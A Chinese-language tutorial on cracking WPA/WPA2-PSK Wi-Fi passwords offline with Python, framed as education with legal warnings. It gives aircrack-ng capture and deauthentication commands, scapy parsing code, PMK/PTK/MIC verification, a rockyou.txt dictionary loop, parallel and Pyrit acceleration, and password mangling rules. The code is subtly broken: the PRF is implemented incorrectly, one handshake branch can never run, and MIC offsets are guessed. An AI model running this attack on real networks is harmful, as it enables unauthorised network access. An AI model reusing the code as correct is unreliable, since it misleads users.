Python实现WPA/WPA2离线字典破解：从密码学原理到网络安全实践

1. 项目概述：从概念到实践的边界

这个话题听起来很“黑客”，但本质上，它探讨的是Python编程、密码学原理与网络安全意识的一个交叉实践。我们不是在讨论如何非法侵入他人的网络，而是通过一个可控的、教育性的实验环境，来深入理解Wi-Fi安全协议（尤其是WPA/WPA2-PSK）的工作原理、密码字典的构成逻辑，以及自动化脚本如何模拟认证过程。这对于网络安全学习者、渗透测试合法授权人员以及任何想加固自己家庭网络的人来说，都具有极高的学习价值。它能让你明白，一个脆弱的密码在自动化工具面前是多么不堪一击，从而从根本上重视密码安全。

核心上，这个项目是利用Python脚本，加载一个包含大量潜在密码的“字典”文件，然后通过程序自动尝试每一个密码去连接指定的Wi-Fi网络，直到匹配成功或字典耗尽。这模拟了攻击者进行离线或在线密码猜测的基本流程。通过亲手实现，你将透彻理解“暴力破解”的耗时性、字典质量的关键性，以及为什么复杂的密码至关重要。

2. 核心原理与前置知识拆解

在动手写一行代码之前，我们必须把背后的原理吃透。盲目操作只会导致脚本无法运行，或者更糟，产生法律风险。

2.1 Wi-Fi认证流程与破解定位

我们针对的是最常见的家庭路由器加密方式：WPA/WPA2-PSK（预共享密钥）。其连接过程简化后包含一个“四次握手”协议。在这个过程中，路由器（AP）和客户端（比如你的手机）会交换一些随机数，并结合你输入的密码（PSK）来生成一个用于加密后续通信的密钥。

我们实现的“破解”，实际上是模拟一个合法的客户端，参与到这个握手过程中。脚本会尝试使用字典中的每一个候选密码，去计算握手密钥，并与捕获到的握手包中的信息进行验证。如果验证通过，则说明该密码正确。因此，整个项目的技术前提是：必须先捕获到目标Wi-Fi的一个合法客户端与路由器之间的四次握手包。没有这个握手包，任何离线密码验证都无法进行。

重要提示：在未获得明确书面授权的网络上捕获握手包是违法行为。请仅在你自己拥有完全控制权的网络环境（如自家的Wi-Fi，或专门搭建的测试实验室网络）中进行此实验。

2.2 密码字典：暴力破解的“弹药库”

字典的质量直接决定了破解的效率和成功率。一个糟糕的字典可能让你永远试不出密码，而一个精心构造的字典则可能几分钟内搞定。

1. 弱口令字典：包含“12345678”、“password”、“admin”、“qwerty”、“[手机号]”、“[出生日期]”等全球常用弱密码。这是第一轮尝试的首选，因为总有人使用这些密码。
2. 社会工程学字典：基于目标可能的信息生成，如姓名、公司名、宠物名、车牌号及其各种组合（加后缀数字、符号变体等）。例如，“Zhangwei2024!”、“Company@123”。
3. 规则生成字典：使用工具（如crunch、hashcat的--stdout模式）按照特定规则批量生成密码。例如，生成所有8位数字组合、6位小写字母组合，或者“常见单词+两位数字+一个符号”的组合。
4. 综合字典：合并上述多种来源，并去重后形成的大字典。网络上流传的“rockyou.txt”就是一个经典的泄露密码集合，常作为测试起点。

在Python中，我们通常从一个.txt文件按行读取这些密码。字典文件的编码（建议UTF-8）和格式（一行一个密码）需要特别注意。

2.3 Python的角色与库选择

Python在这里扮演自动化控制器和逻辑验证器的角色。它需要完成以下任务：

• 读取字典文件。
• 控制尝试的流程（例如，延迟防止被路由器拉黑）。
• 最关键的一步：使用候选密码和捕获的握手包数据，计算并验证密钥。

直接使用纯Python实现WPA-PSK的密钥派生算法（PBKDF2）和四次握手的MIC验证是复杂且低效的。因此，我们通常会借助成熟的底层库。这里有两个主流选择：

• pywifi：一个纯Python的跨平台库，提供了操作无线网卡的接口。它更侧重于“连接”测试，即直接控制网卡去尝试连接目标Wi-Fi并检查返回状态。这种方式是“在线”的，速度慢，容易被路由器检测并屏蔽，且依赖系统无线管理服务，稳定性一般。
• scapy+hashlib/pbkdf2：更专业、更接近底层原理的方式。scapy用于读取和分析捕获的握手包（.pcap文件），提取出必要的随机数（ANonce, SNonce, MAC地址等）。然后，我们使用Python的hashlib和pbkdf2库，根据候选密码和这些随机数重新计算Pairwise Master Key (PMK) 和 Message Integrity Code (MIC)，并与握手包中的MIC进行比较。这种方式是“离线”的，验证速度极快，完全依赖于CPU/GPU的算力，是渗透测试中的标准方法。

本指南将聚焦于第二种更专业、更具教育意义的方法。我们会从零开始，解释每一步的数学和代码逻辑。

3. 实验环境搭建与握手包捕获

工欲善其事，必先利其器。一个干净的实验环境是成功的第一步。

3.1 创建安全的测试环境

绝对不要在公共网络或他人的私有网络上进行测试。请按以下步骤搭建合法环境：

1. 准备两台设备：一台作为“攻击机”（运行Python脚本的电脑），另一台作为“合法客户端”（可以是手机或另一台电脑）。
2. 设置测试Wi-Fi：使用一台你拥有管理员权限的无线路由器或一台安装了Hostapd的电脑创建测试Wi-Fi。建议设置一个你知道的简单密码，用于后续验证脚本是否正确。例如，SSID设为“Test_Network”，密码设为“weakpassword123”。
3. 物理隔离：最好将测试网络与你的主用网络在物理或逻辑上隔离，避免误操作。

3.2 安装必要的Python库

在你的攻击机上，确保已安装Python 3.6+，然后使用pip安装核心库：

pip install scapy

scapy是一个强大的数据包操作库，我们将用它来解析pcap文件。其他所需的hashlib和hmac库是Python标准库，无需额外安装。

3.3 捕获四次握手包

这是整个项目的关键物料。没有握手包，后续所有代码都无法运行。我们需要使用监听模式下的无线网卡来捕获数据包。

1. 硬件要求：你需要一块支持监听模式（Monitor Mode）的无线网卡。很多USB无线网卡（如雷凌RTL8812AU芯片系列）都支持。内置网卡部分型号也支持。
2. 软件工具：推荐使用aircrack-ng套件。在Kali Linux上它是预装的。在Windows或macOS上配置相对复杂。
3. 捕获流程（简化命令，以Linux为例）：

   # 1. 查看网卡接口名，假设是 wlan0 sudo airmon-ng # 2. 关闭可能干扰的进程 sudo airmon-ng check kill # 3. 将网卡置于监听模式 sudo airmon-ng start wlan0 # 4. 监听目标Wi-Fi信道，发现客户端。记录目标的BSSID（MAC地址）和信道 sudo airodump-ng wlan0mon # 5. 针对特定目标开始捕获数据包，并等待握手。 -c 指定信道，--bssid 指定目标路由器MAC，-w 指定输出文件名 sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # 6. 为了加速握手过程，可以主动发送解除认证包，使一个已连接的客户端断开并重连 # 在另一个终端执行，-c 指定客户端MAC，-a 指定路由器MAC sudo aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon # 7. 当airodump-ng右上角出现“WPA handshake: AA:BB:CC:DD:EE:FF”时，表示握手包已捕获。按Ctrl+C停止。

4. 得到文件：你会得到capture-01.cap或capture-01.pcap文件。这就是我们后续需要的握手包文件。

实操心得：捕获握手包是整个过程中最依赖硬件和环境的环节。如果始终抓不到，请检查：网卡驱动是否支持监听模式；是否离目标太远；是否有活跃的客户端；解除认证攻击是否成功。在虚拟机中操作通常需要将USB网卡直通给虚拟机。

4. Python脚本核心实现详解

现在进入核心部分：编写Python脚本，利用捕获的握手包和字典文件进行离线密码验证。

4.1 解析握手包，提取关键元素

首先，我们需要从.pcap文件中找出完整的四次握手包，并提取出计算所需的几个关键值。

from scapy.all import * import binascii def extract_handshake(pcap_file, target_bssid): """ 从pcap文件中提取指定BSSID的WPA四次握手包的关键数据。 返回一个字典，包含后续计算所需的所有信息。 """ packets = rdpcap(pcap_file) handshake_data = { 'ssid': None, 'bssid': target_bssid.lower(), 'anonce': None, # 来自AP的第一个随机数 'snonce': None, # 来自客户端的第二个随机数 'mac_ap': None, # AP的MAC地址 'mac_client': None, # 客户端的MAC地址 'eapol_frame': None, # 完整的EAPOL帧，用于提取MIC 'key_ver': None, # WPA (1) or WPA2 (2) } # 遍历所有包，寻找EAPOL协议包（握手包） for pkt in packets: if pkt.haslayer(EAPOL): # 检查BSSID是否匹配 if pkt.addr2.lower() == target_bssid.lower() or pkt.addr3.lower() == target_bssid.lower(): # 提取SSID（通常从信标帧或探测响应帧获取，这里简化，假设已知） # 实际中，可能需要从其他包中获取SSID if handshake_data['ssid'] is None and pkt.haslayer(Dot11Beacon): handshake_data['ssid'] = pkt.info.decode('utf-8', errors='ignore') # 提取ANonce（来自AP，消息1） if pkt.type == 2 and pkt.subtype == 8: # 数据帧，且是EAPOL Key (Msg 1) if pkt.load[1] == 0x8a or pkt.load[1] == 0x0a: # Key Descriptor Type为EAPOL RSN Key handshake_data['anonce'] = pkt.load[17:49] # ANonce位置 handshake_data['mac_ap'] = pkt.addr2 handshake_data['key_ver'] = 2 if (pkt.load[6] & 0x08) else 1 # 判断WPA2 # 提取SNonce和客户端MAC（来自客户端，消息2） elif pkt.type == 2 and pkt.subtype == 8: # 数据帧，且是EAPOL Key (Msg 2) # 需要更精确的过滤，通常通过检查源地址不是AP来实现 if pkt.addr2.lower() != target_bssid.lower(): handshake_data['snonce'] = pkt.load[17:49] # SNonce位置 handshake_data['mac_client'] = pkt.addr2 handshake_data['eapol_frame'] = bytes(pkt.load) # 保存整个EAPOL帧用于MIC校验 # 如果已经收集齐关键元素，可以提前退出循环 if all([handshake_data['anonce'], handshake_data['snonce'], handshake_data['eapol_frame']]): print(f"[+] 成功提取握手包数据。") print(f" SSID: {handshake_data['ssid']}") print(f" BSSID: {handshake_data['bssid']}") print(f" AP MAC: {handshake_data['mac_ap']}") print(f" Client MAC: {handshake_data['mac_client']}") return handshake_data print("[-] 未能在捕获文件中找到完整的四次握手包。") return None # 使用示例 handshake = extract_handshake('capture-01.pcap', 'AA:BB:CC:DD:EE:FF') if not handshake: exit()

代码解析与注意事项：

• scapy的rdpcap函数能轻松读取pcap文件。
• 握手包是EAPOL协议的数据帧。我们需要找到消息1（含ANonce）和消息2（含SNonce和MIC）。
• 提取字段的偏移量（如[17:49]）是基于EAPOL-Key帧结构的标准位置，但不同抓包环境可能有细微差异，需要根据实际情况调整。
• 实际应用中，更可靠的方法是使用pyrit或aircrack-ng的Python绑定来解析握手包，它们有更健壮的解析逻辑。上述代码是一个简化的教学示例。

4.2 实现PMK与PTK计算

这是密码学核心部分。WPA-PSK的密钥派生流程如下：

1. 生成PMK：PMK = PBKDF2(HMAC-SHA1, 密码, SSID, 4096, 256)。PBKDF2是一个密钥派生函数，用密码和SSID作为盐，迭代4096次，生成一个256位的PMK。
2. 生成PTK：PTK = PRF-512(PMK, “Pairwise key expansion”, Min(AP_MAC, Client_MAC) || Max(AP_MAC, Client_MAC) || Min(ANonce, SNonce) || Max(ANonce, SNonce))。PRF是一个伪随机函数，这里使用HMAC-SHA1，最终生成一个512位的PTK。PTK的前16字节（128位）就是用于验证MIC的KCK。

import hashlib import hmac from pbkdf2 import PBKDF2 # 需要安装：pip install pbkdf2 def custom_prf(key, label, data): """ 实现802.11i中定义的PRF函数（基于HMAC-SHA1） """ # 将label和data拼接 text = label.encode() + data # 计算HMAC-SHA1 digest = hmac.new(key, text, hashlib.sha1).digest() # PRF需要生成指定长度的输出，这里我们生成512位（64字节） # 通过迭代HMAC，每次增加新的数据，直到长度足够 result = b'' i = 0 while len(result) < 64: # 512 bits = 64 bytes # 计算 A_i = HMAC(K, A_{i-1} || text) # 其中 A_0 = text a = hmac.new(key, (chr(0).encode() * i) + text, hashlib.sha1).digest() result += hmac.new(key, a + text, hashlib.sha1).digest() i += 1 return result[:64] # 返回前64字节 def calculate_ptk(password, ssid, mac_ap, mac_client, anonce, snonce): """ 根据密码、SSID、MAC地址和随机数计算PTK。 """ # 1. 计算PMK # 注意：密码和SSID需要先编码为字节 pmk = PBKDF2(password, ssid, iterations=4096, digestmodule=hashlib.sha1).read(32) # 256 bits = 32 bytes print(f"[*] PMK 计算完成。") # 2. 准备PRF的输入数据 # 对MAC地址和Nonce进行排序（Min, Max） mac_ap_b = binascii.unhexlify(mac_ap.replace(':', '')) mac_client_b = binascii.unhexlify(mac_client.replace(':', '')) sorted_macs = sorted([mac_ap_b, mac_client_b]) sorted_nonces = sorted([anonce, snonce]) data = sorted_macs[0] + sorted_macs[1] + sorted_nonces[0] + sorted_nonces[1] # 3. 计算PTK label = b"Pairwise key expansion" ptk = custom_prf(pmk, label, data) print(f"[*] PTK 计算完成。") # PTK结构：KCK (16字节) | KEK (16字节) | TK (16字节) | MIC Key (8字节) ... (WPA2) kck = ptk[:16] # 前16字节是Key Confirmation Key (KCK)，用于验证MIC return pmk, ptk, kck

注意事项：

• 我们使用了pbkdf2库来简化PMK的计算。你也可以用Python标准库hashlib.pbkdf2_hmac。
• custom_prf函数实现了802.11i标准中描述的PRF。这是整个计算中最容易出错的部分，务必确保MAC地址和Nonce的排序、拼接顺序正确。
• 计算出的KCK将用于下一步的MIC验证。

4.3 验证MIC（消息完整性校验）

有了KCK和原始的EAPOL帧（消息2），我们就可以重新计算MIC，并与握手包中携带的MIC进行比较。如果一致，则密码正确。

def verify_mic(password, handshake_data): """ 使用候选密码验证握手包中的MIC。 """ ssid = handshake_data['ssid'] mac_ap = handshake_data['mac_ap'] mac_client = handshake_data['mac_client'] anonce = handshake_data['anonce'] snonce = handshake_data['snonce'] eapol_frame = handshake_data['eapol_frame'] # 这是从Msg2中提取的完整EAPOL帧字节 # 计算PTK和KCK pmk, ptk, kck = calculate_ptk(password, ssid, mac_ap, mac_client, anonce, snonce) # 从EAPOL帧中提取MIC（位于帧中的特定位置，通常偏移81字节开始，长度16字节） # 注意：这个偏移量是常见的，但可能因抓包工具而异。更稳健的方法是解析EAPOL-Key帧结构。 captured_mic = eapol_frame[81:97] # 假设MIC在81-96字节 # 为了计算我们自己的MIC，需要将捕获的MIC部分置零 eapol_for_mic = bytearray(eapol_frame) eapol_for_mic[81:97] = b'\x00' * 16 # 将MIC字段清零 # 使用KCK计算MIC (HMAC-MD5 for WPA, HMAC-SHA1 for WPA2) # 判断是WPA还是WPA2 if handshake_data['key_ver'] == 1: # WPA calculated_mic = hmac.new(kck, bytes(eapol_for_mic), hashlib.md5).digest()[:16] else: # WPA2 calculated_mic = hmac.new(kck, bytes(eapol_for_mic), hashlib.sha1).digest()[:16] # 比较MIC if captured_mic == calculated_mic: print(f"[!!!] 密码匹配成功！密码是: {password}") return True else: # print(f"[-] 密码 '{password}' 不匹配。") # 调试时打开，正式运行时关闭以避免刷屏 return False

关键点：

• MIC在EAPOL帧中的位置需要精确。上述81:97是一个常见偏移，但并非绝对。一个更健壮的方法是解析EAPOL-Key帧的Key Information字段和长度字段来确定MIC的位置。
• 在计算MIC前，必须将原始帧中的MIC字段置零。
• WPA使用HMAC-MD5，WPA2使用HMAC-SHA1来计算MIC，代码中已做判断。

4.4 主循环：集成字典破解

最后，我们将所有部分组合起来，创建一个主函数来遍历字典文件。

def main_dictionary_attack(pcap_file, bssid, ssid, dictionary_file): """ 主函数：加载字典，遍历尝试。 """ print(f"[*] 开始加载握手包...") handshake = extract_handshake(pcap_file, bssid) if not handshake: return # 如果提取的SSID为空，使用传入的SSID if not handshake['ssid']: handshake['ssid'] = ssid print(f"[*] 使用手动指定的SSID: {ssid}") print(f"[*] 开始加载字典文件: {dictionary_file}") try: with open(dictionary_file, 'r', encoding='utf-8', errors='ignore') as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[-] 字典文件未找到: {dictionary_file}") return print(f"[*] 字典共 {len(passwords)} 条密码。开始暴力破解...") start_time = time.time() tried = 0 for password in passwords: tried += 1 if tried % 1000 == 0: elapsed = time.time() - start_time print(f"[*] 已尝试 {tried}/{len(passwords)} 条密码，耗时 {elapsed:.2f} 秒。") if verify_mic(password, handshake): print(f"[+] 破解成功！") print(f"[+] SSID: {handshake['ssid']}") print(f"[+] 密码: {password}") print(f"[+] 总尝试次数: {tried}") print(f"[+] 总耗时: {time.time() - start_time:.2f} 秒") return print(f"[-] 字典破解完成，未找到匹配密码。") if __name__ == "__main__": import time # 配置参数 PCAP_FILE = 'capture-01.pcap' TARGET_BSSID = 'AA:BB:CC:DD:EE:FF' # 替换为目标路由器的MAC地址 TARGET_SSID = 'Test_Network' # 替换为目标Wi-Fi名称，如果提取失败则用这个 DICTIONARY_FILE = 'rockyou.txt' # 你的字典文件路径 main_dictionary_attack(PCAP_FILE, TARGET_BSSID, TARGET_SSID, DICTIONARY_FILE)

5. 性能优化与高级策略

一个基础的字典攻击脚本可能非常慢。以下是一些提升效率的策略：

5.1 使用多进程/多线程

密码验证是CPU密集型任务，且每次尝试都是独立的，非常适合并行计算。

from concurrent.futures import ProcessPoolExecutor, as_completed def batch_verify(args): """ 供多进程调用的验证函数 """ password, handshake_data = args return password, verify_mic(password, handshake_data) def main_dictionary_attack_parallel(pcap_file, bssid, ssid, dictionary_file, max_workers=4): handshake = extract_handshake(pcap_file, bssid) if not handshake: return if not handshake['ssid']: handshake['ssid'] = ssid with open(dictionary_file, 'r', encoding='utf-8', errors='ignore') as f: passwords = [line.strip() for line in f if line.strip()] print(f"[*] 开始并行破解（{max_workers} 个进程）...") start_time = time.time() # 准备参数列表 task_args = [(pwd, handshake) for pwd in passwords] with ProcessPoolExecutor(max_workers=max_workers) as executor: futures = {executor.submit(batch_verify, arg): arg[0] for arg in task_args[:10000]} # 示例：先试前10000条 for future in as_completed(futures): password, result = future.result() if result: print(f"[!!!] 密码匹配成功！密码是: {password}") executor.shutdown(wait=False, cancel_futures=True) print(f"[+] 总耗时: {time.time() - start_time:.2f} 秒") return print(f"[-] 未在批次中找到密码。")

注意：handshake_data需要能够被序列化以便在多进程间传递。如果其中包含复杂的对象（如原始的scapy包），可能需要先提取成基本数据类型（字节、字符串）。

5.2 利用GPU加速（Pyrit）

纯Python的CPU计算在大型字典面前依然力不从心。真正的“暴力”破解依赖于GPU的并行计算能力。Pyrit是一个支持CUDA和OpenCL的WPA-PSK破解工具，它提供了Python接口。

你可以使用pyrit来运行计算密集型的PMK生成阶段，甚至直接使用其完整的破解流程，而我们的Python脚本则作为管理和调度层。

# 示例：使用pyrit将密码和SSID生成PMK，并导入数据库 # 这需要系统已安装pyrit import subprocess import os def create_pyrit_database(ssid, dictionary_file): """ 使用pyrit批处理模式生成PMK，可以极大加速后续针对同一SSID的破解。 """ # 将SSID和密码列表导入pyrit数据库 import_cmd = f'pyrit -e "{ssid}" -i {dictionary_file} import_passwords' # 批处理生成PMK batch_cmd = 'pyrit batch' print(f"[*] 正在使用Pyrit导入密码并生成PMK...") # 注意：subprocess调用需要根据系统环境调整 # 这是一个概念示例，实际使用可能需要处理输出和错误 try: subprocess.run(import_cmd, shell=True, check=True) subprocess.run(batch_cmd, shell=True, check=True) print(f"[+] Pyrit PMK数据库准备完成。") except subprocess.CalledProcessError as e: print(f"[-] Pyrit执行出错: {e}")

5.3 字典预处理与规则应用

在将密码送入验证流程前，可以先进行预处理，应用常见的变形规则，这能用一个基础字典衍生出海量候选密码。

def apply_rules(base_password): """ 对单个基础密码应用变形规则 """ variants = [] pwd = base_password variants.append(pwd) # 原始 variants.append(pwd.upper()) # 全大写 variants.append(pwd.capitalize()) # 首字母大写 variants.append(pwd + '123') # 加后缀数字 variants.append(pwd + '!') # 加后缀符号 variants.append(pwd + '123!') # 更复杂的规则：leet变换 (e->3, a->@, etc.) leet = str.maketrans('aeilot', '431107') variants.append(pwd.translate(leet)) # 年份后缀 for year in ['2020', '2021', '2022', '2023', '2024']: variants.append(pwd + year) variants.append(pwd.capitalize() + year) return set(variants) # 去重 # 在主循环中，可以这样使用： # for base_pwd in passwords: # for variant in apply_rules(base_pwd): # if verify_mic(variant, handshake): # ...

6. 常见问题、排查与伦理重申

6.1 脚本运行问题排查表

6.2 安全、法律与伦理的最终强调

在结束这篇技术指南之前，我必须用最严肃的语气重申以下几点，这比任何技术细节都重要：

1. 合法性：仅在你自己拥有绝对所有权的网络和设备上进行所有测试。未经明确授权，对任何其他网络进行扫描、监听、连接尝试或密码破解，都是违法行为，可能面临法律制裁。
2. 目的性：学习此技术的唯一正当目的是提升自身的网络安全意识、理解攻击原理以便更好地进行防御、或在获得合法授权的渗透测试工作中使用。
3. 责任性：你所学到的知识是一把双刃剑。你有责任确保它被用于正当的、合乎道德的用途。加固你自己的密码，并提醒身边的人使用强密码（长、随机、包含大小写字母、数字和符号的组合）。
4. 局限性：本文介绍的方法针对WPA/WPA2-PSK。WPA3使用了更安全的SAE（龙卷风密钥交换）协议，能有效抵御离线字典攻击。未来，随着WPA3的普及，这种传统的字典攻击方式将逐渐失效。

通过这个项目，你应该深刻理解到，“暴力破解”的成功与否，九成取决于密码本身的强度。一个足够长且随机的密码，即使面对强大的算力，在可预见的时间内也是无法被破解的。这才是网络安全最坚实的第一道防线。